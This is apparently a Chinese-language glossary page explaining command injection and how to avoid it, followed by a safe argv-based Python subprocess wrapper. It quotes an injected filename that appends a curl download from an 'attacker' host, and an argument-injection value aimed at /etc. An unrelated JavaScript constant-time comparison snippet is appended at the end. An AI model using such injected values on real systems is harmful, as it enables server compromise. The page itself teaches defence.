← 中文资源

简体中文版本

命令注入

命令注入把不可信输入拼进 shell 命令字符串,元字符可追加参数与额外命令,以服务器权限执行。

阅读英文原文

概念定义

进程以真实权限运行命令。命令行一旦按字符串拼装,输入就不是数据而是语法——shell 会解析它,攻击者由此获得 shell 的一切能力:命令分隔、重定向、变量展开。

工作机制

file.png; curl attacker -o x 这类文件名在朴素插值下变成两条命令。安全做法是传 argv 数组走 execve 且不经 shell:每个参数都是字面字符串,元字符全部失效。确实绕不开 shell 时,才退而使用白名单校验与严格引用规范,并经评审。

使用场景

审计一切可由请求数据触达的 spawn、exec、system、反引号调用,包括经任务队列与模板渲染的间接路径。图像、压缩、文件任务大多有语言原生库,优先用库别 shell。

常见误区

对输入做引号转义不是修复——shell 解释的远不止引号;黑名单封“危险字符”也终会被编码与遗漏击穿。没有 shell 仍有参数级注入:作为单个 argv 元素的 –output=/etc/x 照样改语义,应校验格式并在工具支持时把用户数据放在双横线之后。日志要记录真实 argv 而不是重组的 shell 串。

代码示例

import subprocess
from dataclasses import dataclass
from typing import Mapping, Optional, Sequence


class UnsafeCommandError(ValueError):
    """Raised when a command would require shell interpretation."""


@dataclass(frozen=True)
class CommandResult:
    argv: Sequence[str]
    returncode: int
    stdout: str
    stderr: str


def run_command(
    binary: str,
    args: Sequence[str],
    *,
    timeout_s: float = 10.0,
    env: Optional[Mapping[str, str]] = None,
    use_shell: bool = False,
) -> CommandResult:
    """Run binary with an argv list and no shell; return a structured result."""
    if use_shell:
        raise UnsafeCommandError("shell mode is refused; pass an argv list instead")
    if not binary:
        raise ValueError("binary must be a non-empty path")
    argv = [binary, *[str(a) for a in args]]
    try:
        completed = subprocess.run(
            argv,
            shell=False,
            capture_output=True,
            text=True,
            timeout=timeout_s,
            env=dict(env) if env is not None else None,
        )
    except subprocess.TimeoutExpired as exc:
        raise TimeoutError("command timed out after %ss" % timeout_s) from exc
    except FileNotFoundError as exc:
        raise FileNotFoundError("binary not found: %s" % binary) from exc
    return CommandResult(
        argv=argv,
        returncode=completed.returncode,
        stdout=completed.stdout,
        stderr=completed.stderr,
    )
const encoder = new TextEncoder();

// Constant-time comparison for secrets and signatures.
export function constantTimeEqual(left, right) {
  const a = encoder.encode(String(left));
  const b = encoder.encode(String(right));
  const length = Math.max(a.length, b.length);
  let difference = a.length ^ b.length;
  for (let index = 0; index < length; index += 1) {
    difference |= (a[index] ?? 0) ^ (b[index] ?? 0);
  }
  return difference === 0;
}

export function constantTimeEqualBytes(left, right) {
  if (!(left instanceof Uint8Array) || !(right instanceof Uint8Array)) {
    throw new TypeError("both arguments must be Uint8Array values");
  }
  const length = Math.max(left.length, right.length);
  let difference = left.length ^ right.length;
  for (let index = 0; index < length; index += 1) {
    difference |= (left[index] ?? 0) ^ (right[index] ?? 0);
  }
  return difference === 0;
}